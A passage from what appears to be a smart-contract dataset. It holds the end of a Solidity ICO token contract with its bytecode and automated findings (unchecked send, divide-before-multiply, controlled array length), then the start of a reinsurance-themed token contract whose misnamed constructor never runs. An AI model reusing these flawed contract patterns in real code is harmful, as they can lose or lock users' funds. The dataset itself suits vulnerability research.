function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
//Return param, how many tokens can send _spender from _owner account
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* Buy tokens on pre-ico and ico with bonuses on time boundaries
*/
function tokens_buy() payable returns (bool) {
uint256 tnow = now;
if(tnow < pre_ico_start) throw;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = (msg.value*10**18).div(token_price);
uint tokens_buy_total;
if(!(tokens_buy > 0)) throw;
//Bonus for total tokens amount for all contract
uint b1 = 0;
//Time bonus on Pre-ICO && ICO
uint b2 = 0;
//Individual bonus for tokens amount
uint b3 = 0;
if(_totalSupply <= 10*10**6*10**18) {
b1 = tokens_buy*30/100;
}
if((10*10**6*10**18 < _totalSupply)&&(_totalSupply <= 20*10**6*10**18)) {
b1 = tokens_buy*25/100;
}
if((20*10**6*10**18 < _totalSupply)&&(_totalSupply <= 30*10**6*10**18)) {
b1 = tokens_buy*20/100;
}
if((30*10**6*10**18 < _totalSupply)&&(_totalSupply <= 40*10**6*10**18)) {
b1 = tokens_buy*15/100;
}
if((40*10**6*10**18 < _totalSupply)&&(_totalSupply <= 50*10**6*10**18)) {
b1 = tokens_buy*10/100;
}
if(50*10**6*10**18 <= _totalSupply) {
b1 = tokens_buy*5/100;
}
if(tnow < ico_start) {
b2 = tokens_buy*40/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*5)){
b2 = tokens_buy*5/100;
}
if((ico_start + 86400*5 <= tnow)&&(tnow < ico_start + 86400*10)){
b2 = tokens_buy*4/100;
}
if((ico_start + 86400*10 <= tnow)&&(tnow < ico_start + 86400*20)){
b2 = tokens_buy*5/100;
}
if((ico_start + 86400*20 <= tnow)&&(tnow < ico_start + 86400*30)){
b2 = tokens_buy*2/100;
}
if(ico_start + 86400*30 <= tnow){
b2 = tokens_buy*1/100;
}
if((1000*10**18 <= tokens_buy)&&(5000*10**18 <= tokens_buy)) {
b3 = tokens_buy*5/100;
}
if((5001*10**18 <= tokens_buy)&&(10000*10**18 < tokens_buy)) {
b3 = tokens_buy*75/10/100;
}
if((10001*10**18 <= tokens_buy)&&(15000*10**18 < tokens_buy)) {
b3 = tokens_buy*10/100;
}
if((15001*10**18 <= tokens_buy)&&(20000*10**18 < tokens_buy)) {
b3 = tokens_buy*125/10/100;
}
if(20001*10**18 <= tokens_buy) {
b3 = tokens_buy*15/100;
}
tokens_buy_total = tokens_buy.add(b1);
tokens_buy_total = tokens_buy_total.add(b2);
tokens_buy_total = tokens_buy_total.add(b3);
if(_totalSupply.add(tokens_buy_total) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy_total);
balances[msg.sender] = balances[msg.sender].add(tokens_buy_total);
return true;
}
/**
* Get total SELL orders
*/
function orders_sell_total () constant returns (uint256) {
return orders_sell_list.length;
}
/**
* Get how many tokens can buy from this SELL order
*/
function get_orders_sell_amount(address _from) constant returns(uint) {
uint _amount_max = 0;
if(!(orders_sell_amount[_from] > 0)) return _amount_max;
if(balanceOf(_from) > 0) _amount_max = balanceOf(_from);
if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from];
return _amount_max;
}
/**
* User create SELL order.
*/
function order_sell(uint256 _max_amount, uint256 _price) returns (bool) {
if(!(_max_amount > 0)) throw;
if(!(_price > 0)) throw;
orders_sell_amount[msg.sender] = _max_amount;
orders_sell_price[msg.sender] = (_price*coef).div(100);
orders_sell_list.push(msg.sender);
Order_sell(msg.sender, _max_amount, orders_sell_price[msg.sender]);
return true;
}
/**
* Order Buy tokens - it's order search sell order from user _from and if all ok, send token and money
*/
function order_buy(address _from, uint256 _max_price) payable returns (bool) {
if(!(msg.value > 0)) throw;
if(!(_max_price > 0)) throw;
if(!(orders_sell_amount[_from] > 0)) throw;
if(!(orders_sell_price[_from] > 0)) throw;
if(orders_sell_price[_from] > _max_price) throw;
uint _amount = (msg.value*10**18).div(orders_sell_price[_from]);
uint _amount_from = get_orders_sell_amount(_from);
if(_amount > _amount_from) _amount = _amount_from;
if(!(_amount > 0)) throw;
uint _total_money = (orders_sell_price[_from]*_amount).div(10**18);
if(_total_money > msg.value) throw;
uint _seller_money = (_total_money*100).div(coef);
uint _buyer_money = msg.value - _total_money;
if(_seller_money > msg.value) throw;
if(_seller_money + _buyer_money > msg.value) throw;
if(_seller_money > 0) _from.send(_seller_money);
if(_buyer_money > 0) msg.sender.send(_buyer_money);
orders_sell_amount[_from] -= _amount;
balances[_from] -= _amount;
balances[msg.sender] += _amount;
Order_execute(_from, msg.sender, _amount, orders_sell_price[_from]);
}
}
|
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c2578063095ea7b31461025257806318160ddd146102b75780631ce7d9da146102e257806323b872dd1461030d57806325f96b73146103925780632c87aecc146103bd5780632e1a7d4d1461042a578063313ce5671461046f57806338743904146104a05780633afd4b5e146104f75780633c1e17f8146105225780633dec4cb31461057957806346642921146105a457806347afa4e4146105ff5780634cad12e0146106445780636c675ae61461069b57806370a08231146106bd57806376f86e18146107145780637a0131051461076c5780637b4fd96e146107975780638da5cb5b146107c257806394a5c2e41461081957806395d89b4114610844578063963e63c7146108d45780639a42adb3146108ff578063a75439d114610944578063a9059cbb1461096f578063b4781f63146109d4578063d858b5c814610a19578063dd62ed3e14610a68578063e696fd6414610adf578063e831574214610b24578063ea10d24614610b4f578063fc9937e514610ba6575b6101bf610bd1565b50005b3480156101ce57600080fd5b506101d7611155565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102175780820151818401526020810190506101fc565b50505050905090810190601f1680156102445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025e57600080fd5b5061029d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061118e565b604051808215151515815260200191505060405180910390f35b3480156102c357600080fd5b506102cc611280565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b506102f7611289565b6040518082815260200191505060405180910390f35b34801561031957600080fd5b50610378600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061128f565b604051808215151515815260200191505060405180910390f35b34801561039e57600080fd5b506103a7611596565b6040518082815260200191505060405180910390f35b3480156103c957600080fd5b506103e8600480360381019080803590602001909291905050506115b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043657600080fd5b50610455600480360381019080803590602001909291905050506115f3565b604051808215151515815260200191505060405180910390f35b34801561047b57600080fd5b506104846116db565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104ac57600080fd5b506104b56116e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050357600080fd5b5061050c611706565b6040518082815260200191505060405180910390f35b34801561052e57600080fd5b50610563600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170c565b6040518082815260200191505060405180910390f35b34801561058557600080fd5b5061058e611724565b6040518082815260200191505060405180910390f35b3480156105b057600080fd5b506105e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172a565b604051808215151515815260200191505060405180910390f35b34801561060b57600080fd5b5061062a600480360381019080803590602001909291905050506117d2565b604051808215151515815260200191505060405180910390f35b34801561065057600080fd5b50610685600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611840565b6040518082815260200191505060405180910390f35b6106a3610bd1565b604051808215151515815260200191505060405180910390f35b3480156106c957600080fd5b506106fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611858565b6040518082815260200191505060405180910390f35b610752600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118a1565b604051808215151515815260200191505060405180910390f35b34801561077857600080fd5b50610781611cf8565b6040518082815260200191505060405180910390f35b3480156107a357600080fd5b506107ac611cfe565b6040518082815260200191505060405180910390f35b3480156107ce57600080fd5b506107d7611d09565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082557600080fd5b5061082e611d2f565b6040518082815260200191505060405180910390f35b34801561085057600080fd5b50610859611d3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089957808201518184015260208101905061087e565b50505050905090810190601f1680156108c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e057600080fd5b506108e9611d75565b6040518082815260200191505060405180910390f35b34801561090b57600080fd5b5061092a60048036038101908080359060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561095057600080fd5b50610959611dec565b6040518082815260200191505060405180910390f35b34801561097b57600080fd5b506109ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611df5565b604051808215151515815260200191505060405180910390f35b3480156109e057600080fd5b506109ff60048036038101908080359060200190929190505050611fe9565b604051808215151515815260200191505060405180910390f35b348015610a2557600080fd5b50610a4e6004803603810190808035906020019092919080359060200190929190505050612057565b604051808215151515815260200191505060405180910390f35b348015610a7457600080fd5b50610ac9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061221a565b6040518082815260200191505060405180910390f35b348015610aeb57600080fd5b50610b0a600480360381019080803590602001909291905050506122a1565b604051808215151515815260200191505060405180910390f35b348015610b3057600080fd5b50610b3961230f565b6040518082815260200191505060405180910390f35b348015610b5b57600080fd5b50610b90600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061231f565b6040518082815260200191505060405180910390f35b348015610bb257600080fd5b50610bbb612428565b6040518082815260200191505060405180910390f35b6000806000806000806000429550600154861015610bee57600080fd5b600354861115610bfd57600080fd5b6b0295be96e640669720000000600054101515610c1957600080fd5b660470de4df820003410151515610c2f57600080fd5b64e8d4a510003410151515610c4357600080fd5b68a2a15d09519be00000341115610c5957600080fd5b610c7d660470de4df82000670de0b6b3a7640000340261243590919063ffffffff16565b9450600085111515610c8e57600080fd5b6000925060009150600090506a084595161401484a000000600054111515610cc3576064601e8602811515610cbf57fe5b0492505b6000546a084595161401484a000000108015610cec57506a108b2a2c2802909400000060005411155b15610d0457606460198602811515610d0057fe5b0492505b6000546a108b2a2c28029094000000108015610d2d57506a18d0bf423c03d8de00000060005411155b15610d4557606460148602811515610d4157fe5b0492505b6000546a18d0bf423c03d8de000000108015610d6e57506a211654585005212800000060005411155b15610d86576064600f8602811515610d8257fe5b0492505b6000546a2116545850052128000000108015610daf57506a295be96e6406697200000060005411155b15610dc7576064600a8602811515610dc357fe5b0492505b6000546a295be96e64066972000000111515610df057606460058602811515610dec57fe5b0492505b600254861015610e0d57606460288602811515610e0957fe5b0491505b8560006002540111158015610e285750620697806002540186105b15610e4057606460058602811515610e3c57fe5b0491505b85620697806002540111158015610e5d5750620d2f006002540186105b15610e7557606460048602811515610e7157fe5b0491505b85620d2f006002540111158015610e925750621a5e006002540186105b15610eaa57606460058602811515610ea657fe5b0491505b85621a5e006002540111158015610ec7575062278d006002540186105b15610edf57606460028602811515610edb57fe5b0491505b8562278d0060025401111515610f0257606460018602811515610efe57fe5b0491505b84683635c9adc5dea0000011158015610f2557508469010f0cf064dd5920000011155b15610f3d57606460058602811515610f3957fe5b0490505b8469010f1ad11b910084000011158015610f6057508469021e19e0c9bab2400000105b15610f84576064600a604b8702811515610f7657fe5b04811515610f8057fe5b0490505b8469021e27c1806e59a4000011158015610fa757508469032d26d12e980b600000105b15610fbf576064600a8602811515610fbb57fe5b0490505b8469032d34b1e54bb2c4000011158015610fe257508469043c33c1937564800000105b15611006576064600a607d8702811515610ff857fe5b0481151561100257fe5b0490505b8469043c41a24a290be4000011151561102c576064600f860281151561102857fe5b0490505b61103f838661245090919063ffffffff16565b9350611054828561245090919063ffffffff16565b9350611069818561245090919063ffffffff16565b93506b0295be96e64066972000000061108d8560005461245090919063ffffffff16565b111561109857600080fd5b6110ad8460005461245090919063ffffffff16565b60008190555061110584600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245090919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001965050505050505090565b6040805190810160405280600981526020017f494f5520746f6b656e000000000000000000000000000000000000000000000081525081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905090565b60035481565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561135c575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113685750600082115b80156113f35750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b1561158a5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061158f565b600090505b9392505050565b6064601e6b0295be96e640669720000000028115156115b157fe5b0481565b600b818154811015156115c457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190506000831115611679578290505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050506001915050919050565b601281565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60096020528060005260406000206000915090505481565b60015481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178857600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183057600080fd5b8160018190555060019050919050565b600a6020528060005260406000206000915090505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000806000806000341115156118b957600080fd5b6000871115156118c857600080fd5b6000600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561191657600080fd5b6000600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561196457600080fd5b86600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156119b057600080fd5b611a0c600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054670de0b6b3a7640000340261243590919063ffffffff16565b9450611a178861231f565b935083851115611a25578394505b600085111515611a3457600080fd5b611a90670de0b6b3a764000086600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540261243590919063ffffffff16565b925034831115611a9f57600080fd5b611ab76004546064850261243590919063ffffffff16565b9150823403905034821115611acb57600080fd5b348183011115611ada57600080fd5b6000821115611b1a578773ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050505b6000811115611b5a573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050505b84600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167faf33f8a5abc54c4f3b13e4416a4d2f6ddc6ec976aacda329904150c054aa92c087600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a3505050505092915050565b60025481565b660470de4df8200081565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b68a2a15d09519be0000081565b6040805190810160405280600381526020017f494f55000000000000000000000000000000000000000000000000000000000081525081565b64e8d4a5100081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ddc57600080fd5b8160028190555060019050919050565b64e8d4a5100081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611e465750600082115b8015611ed15750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15611fde5781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611fe3565b600090505b92915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561204757600080fd5b8160048190555060019050919050565b6000808311151561206757600080fd5b60008211151561207657600080fd5b82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120d26064600454840261243590919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b3390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550503373ffffffffffffffffffffffffffffffffffffffff167f11e5b955c47ddbc5cbcea6442fee8bef7fbd64254e2ccd398fbdcd248b94545a84600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a26001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122ff57600080fd5b8160038190555060019050919050565b6b0295be96e64066972000000081565b600080600090506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561237757809150612422565b600061238284611858565b11156123945761239183611858565b90505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561241e57600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b8091505b50919050565b6000600b80549050905090565b600080828481151561244357fe5b0490508091505092915050565b600080828401905083811015151561246457fe5b80915050929150505600a165627a7a72305820f53716a4d78989a8a0ec270c96c31252fc94d49a1220bfd9a85e3db1fbccf3760029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,350 |
0x2d6c1b3c99e6931a0cd3da81d60dab4b904acf52
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_VII_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_VII_883 " ;
string public symbol = " RE883VII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1592025577783000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_1_____Berkshire_Hathaway_International_Insurance_Limited_AAp_m_20250515 >
// < b2Kw7N8NLpexUO9DEYi3BzwDFFOzXE40G65XdI97oPS6RUMggy8x8Rtkb5HJJDh1 >
// < 1E-018 limites [ 1E-018 ; 28861009,3216454 ] >
// < 0x00000000000000000000000000000000000000000000000000000000AC0669B8 >
// < RE_Portfolio_VII_metadata_line_2_____Berkshire_Hathaway_Reinsurance_Group_20250515 >
// < q8N3AiSQHotWCy8QaoMidG5VNk6nk7UD4284UfEWO19c4ie4rk4wxO53DcC5z2zA >
// < 1E-018 limites [ 28861009,3216454 ; 107464025,849827 ] >
// < 0x00000000000000000000000000000000000000000000000AC0669B828089190C >
// < RE_Portfolio_VII_metadata_line_3_____Berkshire_Hathaway_Reinsurance_Group_20250515 >
// < ItB1QMaSI43svE614VC54wE43pTHK4GcSjbbq21s95VP18Poh2t06U96MUubV83j >
// < 1E-018 limites [ 107464025,849827 ; 156578902,884003 ] >
// < 0x000000000000000000000000000000000000000000000028089190C3A54873E4 >
// < RE_Portfolio_VII_metadata_line_4_____BMA_Reinsurance_20250515 >
// < 90n5m1q50K17iUBt7rUP29etVnJ4ctxfYFrB4Ub3ls4KmnQ30XAM7W8436h6LIbO >
// < 1E-018 limites [ 156578902,884003 ; 225896638,136609 ] >
// < 0x00000000000000000000000000000000000000000000003A54873E454272EC39 >
// < RE_Portfolio_VII_metadata_line_5_____BMS_Group_20250515 >
// < LrA09QyS6bkUkdaknm7PZDX1X588y9N8p13SS2RWISX7H8Cm3UmoM95Js53821FT >
// < 1E-018 limites [ 225896638,136609 ; 268843872,939129 ] >
// < 0x000000000000000000000000000000000000000000000054272EC396426F33D1 >
// < RE_Portfolio_VII_metadata_line_6_____Brazil_BBBm_IRB_Brasil_Resseguros_SA_Am_20250515 >
// < iAqv2Ie5kCO6C5y6Y4O9Y61E3K45JC0H913yvt70MrM4lTTNIkSzC8PNy53ZjeT8 >
// < 1E-018 limites [ 268843872,939129 ; 308603123,761401 ] >
// < 0x00000000000000000000000000000000000000000000006426F33D172F6B012C >
// < RE_Portfolio_VII_metadata_line_7_____Brit_Syndicates_Limited_20250515 >
// < S7A2xFrB261sM3Ov9trH9pikH5q6MvIZ92ie38mpWIxIYoLc1D1yR8l2b6FI3I9A >
// < 1E-018 limites [ 308603123,761401 ; 343931584,044248 ] >
// < 0x000000000000000000000000000000000000000000000072F6B012C801FDF4F8 >
// < RE_Portfolio_VII_metadata_line_8_____Brit_Syndicates_Limited_20250515 >
// < m115VJCWvGd95ZU2sU1LSZ3yS5o9L3K9I36sKGjwIkKBftNtffo7vLcjO6BN5U5D >
// < 1E-018 limites [ 343931584,044248 ; 358777504,407766 ] >
// < 0x0000000000000000000000000000000000000000000000801FDF4F885A7B089C >
// < RE_Portfolio_VII_metadata_line_9_____Brit_Syndicates_Limited_20250515 >
// < 3IsEaM4aUW6EOzlM229lwPP2O79e85Tf0Ta0nZh6Wtn5MfA1KWespDC134GH8819 >
// < 1E-018 limites [ 358777504,407766 ; 372565099,747833 ] >
// < 0x000000000000000000000000000000000000000000000085A7B089C8ACA93C0A >
// < RE_Portfolio_VII_metadata_line_10_____Brit_Syndicates_Limited_20250515 >
// < AGuXVF6ZY4O21cq4ty4XPN99LYigVghLBc1L09Vj7870B26u4blzi8g5V18MA38X >
// < 1E-018 limites [ 372565099,747833 ; 385953922,720421 ] >
// < 0x00000000000000000000000000000000000000000000008ACA93C0A8FC76F504 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_11_____Brit_Syndicates_Limited_20250515 >
// < U6Xx2H39v5l6Y9Z73Y54l7q51QOFyAo50A3NGJA39AZ0k7aJ2iU6nDTyAEeQWYjr >
// < 1E-018 limites [ 385953922,720421 ; 412504411,61062 ] >
// < 0x00000000000000000000000000000000000000000000008FC76F50499AB7C9BD >
// < RE_Portfolio_VII_metadata_line_12_____Brokers_and_Reinsurance_Markets_Association_20250515 >
// < nm1PPphX6q44Elqew1o14Sh43mMjmu29vT42bSvH3X7p9cd59gEPEFg3qtGz8Nyh >
// < 1E-018 limites [ 412504411,61062 ; 470029652,520769 ] >
// < 0x000000000000000000000000000000000000000000000099AB7C9BDAF19856F8 >
// < RE_Portfolio_VII_metadata_line_13_____Bupa_Insurance_Limited_m_m_Ap_20250515 >
// < K710Q7qakg8G04VxjM119Ag7zyUnFVCvAp3750pxn0q1lJ8RUDj4n16FgjO09Ipf >
// < 1E-018 limites [ 470029652,520769 ; 529445170,584736 ] >
// < 0x0000000000000000000000000000000000000000000000AF19856F8C53BD39B6 >
// < RE_Portfolio_VII_metadata_line_14_____Caisse_Centrale_de_Reassurance_20250515 >
// < plW6bPISG5QOtNj1q80KTU7DxRVfuGnRAKLbVHvYSAJhh477OUn8bB0eU2aFIjpN >
// < 1E-018 limites [ 529445170,584736 ; 570996370,239225 ] >
// < 0x0000000000000000000000000000000000000000000000C53BD39B6D4B675313 >
// < RE_Portfolio_VII_metadata_line_15_____Caisse_Centrale_De_Reassurances_AA_Ap_20250515 >
